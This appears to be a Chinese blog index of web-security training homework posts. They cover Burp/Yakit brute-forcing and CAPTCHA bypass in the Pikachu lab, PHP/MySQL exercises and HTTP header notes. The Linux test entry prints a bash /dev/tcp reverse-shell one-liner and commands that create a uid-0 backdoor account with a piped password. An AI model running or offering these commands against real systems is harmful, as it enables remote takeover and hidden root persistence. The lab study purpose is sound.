暴力破解练习|Web暴力破解|Web1、将上午发送的常见web漏洞全部用自己的语言描述一下可能的成因和危害2、使用burp和yakit完成pikachu暴力破解漏洞的通关前端在登录界面随便输入任意的账户和密码
打开burp的抓包,然后点击登录,返回burp,将刚刚抓到的包发送到intruder模块,然后选择集束炸弹(Cluster bomb),添加两个payload
在payloads页面为两个payload选择爆破模式,这里选择读取字典文件,分别是用户名文件和密码文件,然后点击攻击
攻击完成后查看具体情况,在Lengths一栏发现有一个报文的回显和其他报文长度不一样,在里面搜索success可以发现登陆成功的回显,这下爆破出账户admin,密码123456
3、任选工具参考博客,通关pikachu靶场绕过验证码的两个关卡验证码绕过(on server)首先尝试进行登录抓包
同样选择集束炸弹模式进行攻击,这次还是为用户名和密码打上payload
发现依然能够正常进行爆破,看出这个验证码在一次爆破中可以进行重复利用
验证码绕过(on client)若是直接在页面进行登录会有js弹窗提示需要输入验证码
输入错 ...
Read more
php|Webphp语法|phpphp基础语法
变量与数据类型:<?php $name = "minato"; // 字符串 $age = 25; // 整数 $price = 19.99; // 浮点数 $isStudent = true; // 布尔值?>
字符串操作:$greeting = "hello, " . $name . "!"; // 拼接$length = strlen($greeting); // 长度$upper = strtoupper($greeting); // 转大写
常量与运算符:define("PI", 3.14); // 定义常量$result = (10 + 5) * 2; // 算术运算$isAdult = ($age >= 18); // 比较运算
类型
作用
示例
单引号
纯字符串,不解析变量和转义字符(除 ...
Read more
mysql|MySQLmysql数据库入门|MySQLmysql端口号3306mysql数据库操作
CREATE DATABASE 数据库名;: 创建一个新数据库。
示例: CREATE DATABASE my_first_db;
SHOW DATABASES;: 查看当前服务器上所有数据库。
USE 数据库名;: 选择/切换到要操作的数据库。 执行表操作前必须先 USE。
示例: USE my_first_db;
DROP DATABASE 数据库名;: 删除一个数据库及其所有内容。
mysql表操作CREATE TABLE 表名 (列名1 数据类型1 [约束], 列名2 数据类型2 [约束], ...);: 创建一张新表。需要定义列名和每列的数据类型。
常用数据类型:
INT: 整数(如用户ID、年龄)
VARCHAR(长度): 可变长度字符串(如姓名、邮箱,VARCHAR(50) 表示最长50个字符)
CHAR(长度): 固定长度字符串(如国家代码 CHAR(2))
DATE: 日期(YYYY-MM-DD)
DATETIME / TIMESTAMP: 日期和时间(YYYY-MM-DD HH:MM:SS ...
Read more
php小测|Webphp小测|Web1、创建一个名称为cms的数据库,创建user表,字段要求具备id,uasername,password<?phpheader('Content-Type: text/html; charset=utf-8');$db_host = '127.0.0.1';$db_admin = 'root';$db_passwd = 'root';$link = mysqli_connect($db_host, $db_admin, $db_passwd);if (!$link) { die('连接失败: ' . mysqli_connect_error());} else { echo '连接成功!' . "<br>";}$drop_db_cms = 'DROP DATABASE IF EXISTS cms';if (!mysqli_query($link, $drop_db_ ...
Read more
PHP、MySQL练习|WebPHP、MySQL练习|Web1、编写一个函数,要求可以根据前端传递的参数判断当前月份,要求传递的数字不符合1-12的规范时有报错提示<meta charset="utf-8"><?phpfunction print_month($month) { switch ($month) { case '1': print '1月' . '<br>'; break; case '2': print '2月' . '<br>'; break; case '3': print '3月' . '<br>'; break; case '4': print '4月' . '<br>'; break; case '5': print '5月 ...
Read more
php数组练习与渗透测试初识|Webphp基础php基础2|Web1、使用if语句实现如下效果,当成绩在60以上时为及格,60以下时为不及格<meta charset="utf-8"><?php$goat1[] = 90;$goat1[] = 59;$goat1[] = 80;$goat1[] = 24;for ($i = 0; $i < count($goat1); $i++) { if ($goat1[$i] >= 60) { echo "恭喜你及格了,分数:" . $goat1[$i] . "<br>"; } else { echo "非常遗憾没有及格,分数:" . $goat1[$i] . "<br>"; }}?>
2、使用switch语句实现在浏览器端传递参数,number=1能够显示为一月,以及后续的月份<meta charset="utf-8"><?php$mont ...
Read more
php初识|Webphp基础php基础1|Webphp可以和html、js代码混写,但前提是文件后缀为.php
1、编写一个html页面,要求如下title标签以自己的姓名为值,img标签加载自己任选的一张图片,编写一个form表单,分别使用get和post向服务器发送名称为name和pass的数据
<!--HTML代码--><!DOCTYPE html><html><head> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta charset="UTF-8" /> <title>王雨晗</title></head><body> <img src="./lib/mali.jpg" alt="这是一个图片,为什么没加载呢" title="图片(假)"> &l ...
Read more
burp与yakit的使用|Webburp与yakit|Web使用burp和yakit在互联网抓取get和post数据包burp首先打开burp,然后在自己的浏览器(例如Firefox)打开随机页面。最后返回burp,点击Proxy下的HTTP history选项查看历史报文信息。
GET包随便点击一个上面的历史包查看信息
POST包
yakitGET包
POST包
截图描述请求报文和响应报文字段的含义,以及这个字段在渗透测试中可能有什么作用以这个get包为例
左侧的请求报文
字段
含义
渗透测试作用
GET
http的请求方法
Host
目标服务器域名
虚拟主机探测、域名劫持
User-Agent
客户端标识
注入恶意载荷,绕过WAF
Accept
客户端支持的响应内容类型
修改为*/*探测服务器响应差异
cookie
客户端身份信息
窃取会话ID,修改权限参数
Referer
上一个请求地址
伪造来源,窃取URL敏感参数
右侧的响应报文
字段
含义
渗透测试作用
200
状态码,标识响应信息
判断服务器信息(403;目录/文件枚举)
Server
服务器软件信息
识别服务器版本 ...
Read more
http初识|Webhttp初识|Web启动web服务的软件视为中间件
静态网页html、JavaScript等,没有办法调用系统资源(CMD,BASH),源码公开
(nodejs使用JavaScript,但是可以与数据库交互)
动态网页php、java,与数据库做交互
中间件服务器apache:轻量级web服务,常与php一起(lamp,mysql、php、apache),不适用于访问量过大或多线程
nginx:负载均衡、反向代理
tomcat:JAVA,专为javaweb设计
数据库mysql,Redis
HTTP协议只负责传输
起始行格式:方法 + 请求目标 + HTTP版本
方法(Method):
GET:获取资源
POST:提交数据
PUT:更新资源
DELETE:删除资源
HEAD:获取响应头(无Body)
PATCH:部分更新
OPTIONS:查询服务器支持的HTTP方法
请求目标(Request Target):
通常是URL路径(如 /api/users),或完整URL(代理场景)。
HTTP版本:
HTTP/1.0、HTTP/1.1(主流)、HTTP/2、HTTP/3。
请求头
头部字 ...
Read more
8.9|Linux测试2|Linux1、使用反弹的shell创建uid为0的账户,非交互设置密码bash -i >& /dev/tcp/172.16.2.1/1145 0>&1 # 连接反弹shell
useradd john -o -u 0 # 创建uid为0的账户,-o 创建uid重复的用户,-u 设置 uidecho "john:123456" | chpasswd # 直接设置用户密码,不通过交互
2、使用echo写入计划任务实现在八月的每周日的每一小时,每一分钟备份/var/log/secure要求文件名包含当前时间# 直接写入crontab文件echo "* * * 8 7 root cd /var/log;tar -zcf /tmp/log'date +\%H:\%M'.tar.gz secure" >> /etc/crontab# 脚本执行vim /root/backup.shchmod 777 /root/backup.sh(crontab -l 2>/d ...
Read more